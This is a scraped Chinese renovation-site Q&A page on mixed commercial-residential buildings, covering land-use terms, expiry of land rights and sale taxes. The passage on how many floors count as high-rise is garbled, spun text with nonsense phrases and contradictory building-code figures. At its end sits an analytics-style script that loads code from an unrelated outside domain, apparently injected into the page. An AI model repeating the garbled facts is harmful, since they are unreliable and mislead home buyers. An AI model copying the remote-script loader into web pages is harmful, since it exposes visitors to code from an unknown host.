发现更多装修知识
贝舒扬
3 回答
10秒估算装修报价
元
稍后将有装修顾问来电为您解读报价
共有3条回答
wjc_0704 有用 1
无奈的生命 有用 1
尕尕枫叶 有用 1
土巴兔装修客服
土巴兔官方客服,欢迎随时咨询
立即咨询
亲,近期在了解装修吗?您是否想改变一下家里的布置,风格,收纳等现象?只需要一个报名申请您就能获得免费设计,赶紧咨询我吧!
问什么叫商住楼?
答商住楼是否有专门的物业管理规定呢?南京市房产局物业办的万先生告诉记者:目前还没有针对性的物管规定,对于商住楼的物业管理,同样是依照《南京市物业管理办法》来执
问神木北关商住楼属于什么样的小产权房?大家说说商住楼看?
答商住楼是指这个楼的使用性质是商、住两用,商住楼一般是底层为商场、商店、商务,其余为住宅的综合性大楼。商住楼的土地使用性质为综合用地,根据国家土地法规定,综合
问小白求问商住楼属于几类建筑
答属于一类建筑的,商住楼是指该楼的使用性质为商、住两用,一般底层(或数层)为商场、商店、商务,其余为住宅的综合性大楼。居住还是比较的便利的。
问商住楼是居住建筑吗
答你好!你的问题很有意思。 首先,商住楼不等于商业用房。商住楼一般是某楼层以下是商业性质,可以注册;某楼层以上是住宅。这样合称商住楼,这样的大楼用地一般是综
问什么是商住楼?商住楼和住宅楼有什么区别?
答在户口通迁落户方面,商住楼和普通住宅楼不同,能否落户要看商住楼土地证如何标注,如果标注为“商业”则不能落户,标注为“住宅”的可以落户。因每个地方出台的政策不
商住与住宅的区别是什么、商住楼产权是多少年
在实际购置房产的过程中或者是接触房地产相关方面专业知识的时候,我们可能会发现有许多定义,表面看上去很类似,但是实际上其含义却大大有所区别,比如下文举例的商住房以及住宅楼,它们就是容易被混淆的两种概念,那么今天小编为大家举例的就是对比方面的知识,由此也可以帮助我有意向了解的朋友进一步学习,避免在后期操作的过程中因为混淆导致的麻烦。一、商住与住宅的区别是什么商住可以注册公司,而住宅不可以。住宅是指专供居住的房屋,包括别墅、公寓、职工家属宿舍和集体宿舍、职工单身宿舍和学生宿舍等。但不包括住宅楼中作为人防用、不住人的地下室等,也不包括托儿所、病房、疗养院、旅馆等具有专门用途的房屋。《中华人民共和国宪法》第39条:中华人民共和国公民的住宅不受侵犯。土地年限不同,住宅最长70年,商住最长综合用地50年。商住楼是指该楼的使用性质为商、住两用,商住楼一般底层(或数层)为商场、商店、商务,其余为住宅的综合性大楼。商住楼不分建设主体,不仅开发商可以建,非开发企业、个人也可以建,没有规定必须出售。商住楼的土地使用性质为综合用地,根据国家土地法规定,综合土地的使用权年限为50年。商住一般而言土地性质是综合用地,房屋性质是综合,现在新开发的商品房不会出现这种产权不清晰的情况。商住楼和住宅楼的区别是商住楼应用为商、住两种类型。而住在楼应用为专供居住的。从而在法律保护中也形成了两种不同的法律。二、什么是商住楼商住楼产权是多少年不可否认的是,商住楼作为一种特殊的住宅形式,也有它的弊端。从结构上说,随着高度的增加,地震造成的危害性也随之增加,因此,国家对商住楼的高度和层数都有严格要求。商住楼的底部为商店,或多或少会给楼上居民带来影响。一些人利用商住楼位于街道两则,交通便利的优势,利用底商从事餐饮、洗染等行业,这些行业在工作时会排放出大量的油烟和高温气体,而一般商住楼没有专门的排烟口和保温、隔热措施,还有人从事铝合金加工或摩托车、汽车修理等产生噪音较大的行业,这些都会对楼上和附近居民的日常生活带来影响,产生纠纷。商住楼产权使用年限:根据《中华人民共和国城镇国有土地使用权出让和转让暂行条例》(一九九0年五月十九日中华人民共和国国务院令第五十五号发布自发布之日起施行)第十二条商住楼产权土地使用权出让较高年限按下列用途确定:一)居住用地七十年;二)工业用地五十年;三)教育、科技、文化、卫生、体育用地五十年;四)商业、旅游、娱乐用地四十年;五)综合或者其他用地五十年。例子:一般商住楼产权是多少年的?开放商是按照主宅来卖的,张某问了他们说产权是70年,但是张某好像听说这个楼下面两层是商铺,所以归结为商住楼?请问如果是商住楼,我们是买上面的房子的,住宅用的,产权是多少年?答:张某的商住楼产权住宅是70年的,一、二楼商住楼产权的商铺是40年的,商住楼产权你的产权和商铺的产权的完全独立分开的。通过上文的举例以及分析我们可以得知商住和住宅虽然在字面上看来很是相似,而且只是相差了一个字而已,但是实际上两者的概念还是有所区别的,并且我们可以发现如果消费者在购置的过程中因为混淆了两者的概念或者因为不清楚而导致选择失误,那么很有可能会在发生后续一系列的麻烦,甚至造成自己多方面的损失。因此,我们很有必要结合上文的专业知识以及自己的实际情况进行学习。
多少层以上的楼层属于高层建筑呢
这是一幢高度超过27米的高层建筑和一幢低层建筑,商店,高度超过24米的房屋。多少层以上的楼层属于高层建筑(代码GB50016-2014(2018年版)用于建筑设计中的防火。在美国,考虑建筑物24.6米或以上,在日本31米或以上或8个或更多,多少层以上的楼层属于高层建筑作为感兴趣的建筑物,在英国,人们认为建造24.3米或更高的建筑物作为高层建筑。中国的“迷信”(JGJ3-2010)1.0.2提供高度为27米或以上的10层高,10层高的房屋,以及高度为24米或以上的高层建筑。公元前280年,埃及人建造了超过100米的亚历山大灯塔。523年,在中国河南省登封县建成了40米高的豫月寺塔。一座新的摩天大楼诞生于美国,并于1883年在芝加哥建造了一所11间保险公司,并于1931年在纽约建造了102层的帝国大厦。第二次世界大战结束后,多少层以上的楼层属于高层建筑摩天大楼在世界各地迅速发展。芝加哥SA是西尔斯大厦,建于1970年至1974年间,高约443米。1至3是低房,4至6是高房,7至9是高中房。10楼和10楼。多少层以上的楼层属于高层建筑T.非住宅物业高度不到24米(高层建筑高于24米),高度超过24米的高层建筑是摩天大楼。和私人住宅不到24米。建筑[3]建筑建筑高度:在屋顶的山墙中,建筑物的高度必须从地面到康沃尔郡的高度,并且平屋顶(在栏杆上方有平屋顶)出现,建筑物从外面看。建筑。设计到屋顶。高度:如果同一建筑物屋顶进入多个屋顶,建筑物的高度将根据上述方法测量并最大化。楼梯不包括带手表塔,冷塔,水箱,微波炉雪利酒或设施的小房间,衣帽间区域,烟囱室和屋顶天花板。上面那个不高的建筑有一个案例。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
商住楼产权到期后怎么办 商住楼产权多少年
商住楼由于其多用性,且一般位置优越等优势吸引不少购房者,一般购买者都比较关商住楼产权的问题,那么,商住楼产权多少年呢?商住楼产权到期后怎么办呢?下面来看看吧。一、什么是商住楼商住楼是指该楼的使用性质为商、住两用,商住楼一般底层(或数层)为商场、商店、商务,其余为住宅的综合性大楼。商住楼不分建设主体,不仅开发商可以建,非开发企业、个人也可以建,没有规定必须出售。商住楼的土地使用性质为综合用地,根据国家土地法规定,综合土地的使用权年限为50年。二、商住楼产权到期后怎么办房屋所有权(即房产权)是永久的,没有期限限制,只要房产没有完全毁损灭失就能一直享有;土地使用权是有期限的。国家通过土地有期出让方式,授予用地人40年、50年、70年不等的使用权。到期后,如国家需要收回土地,且必须连同地上建筑物一并收回时,这时会出现一个问题,由于房子在开发时有先有后,但土地使用权的终止日期是以土地出让合同上的终止时间为准,即土地使用权到期,而房产还未到报废的年限。这时收回土地使用权则要给予地上建筑物所有人相应补偿;如果不收回,地上建筑物所有权人可以在届满前一年向国家申请续期,并重新缴纳土地出让金。三、商住楼税费详情商住楼和普通住宅的税费项目都差不多,只不过征收的税率或标准不一样。一手商住楼的税费和住宅的收费(税)项目都主要是契税和公共维修基金。目前,武汉市非普通住宅的契税税率为3%。公共维修基金分别为:砖混结构住宅:49元/平方米(个人)、10元/平方米(开发商);无电梯框架结构住宅——55元/平方米(个人),12元/平方米(开发商);有电梯14层以下(含14层)框架结构住宅61元/平方米(个人),25元/平方米(开发商);有电梯15层以上(含15层)框架结构住宅73元/平方米(个人),30元/平方米(开发商)。二手商住楼交易卖方需要交纳1、个人所得税:(1)差额征收:差额的20%:对于能提供合法、完整、准确的有关凭证,能够正确计算应缴纳税额的,将征收纳税所得额的20%计征个人所得税;(2)全额征收:全额的3%:对于不能提供合法、完整准确的有关凭证,不能计算应缴纳额,比照《国家税务总局关于个人取得房屋拍卖收入征收个人所得税问题的批复》规定,统一按计税价格的3%计算缴纳个人所得税。2、土地增值税:采取“先预征,后清算”的方式,就是先预征,后期还要进行查账,详细清算,多退少补。税率为5%。举例说明:以原价50万的商铺,现转让价格为100万为例进行计算:其增值50万,增值率为100%,在50%—100%这个范围内,土地增值税的计算方法是:(50万×40%—合理税金扣除额)×5%如果增值率在100%—200%范围内,土地增值税的计算方法是:(增值金额×50%—合理税金扣除额)×15%如果增值率在200%以上,土地增值税的计算方法是:(增值金额×60%—合理税金扣除额)×35%3、营业税:差额5.8%4、房屋登记费550元/套5、土地证登记费33~1206、评估费0.3%7、印花税0.05%(按正常交易价格计征)8、交易手续费11元/平米买方需要交纳契税和印花税。以上就是小编为您介绍的商住楼产权到期后怎么办,希望能够帮助到您。更多关于商住楼产权的相关资讯,请继续关注土巴兔装修网。
打开APP后继续操作
立即打开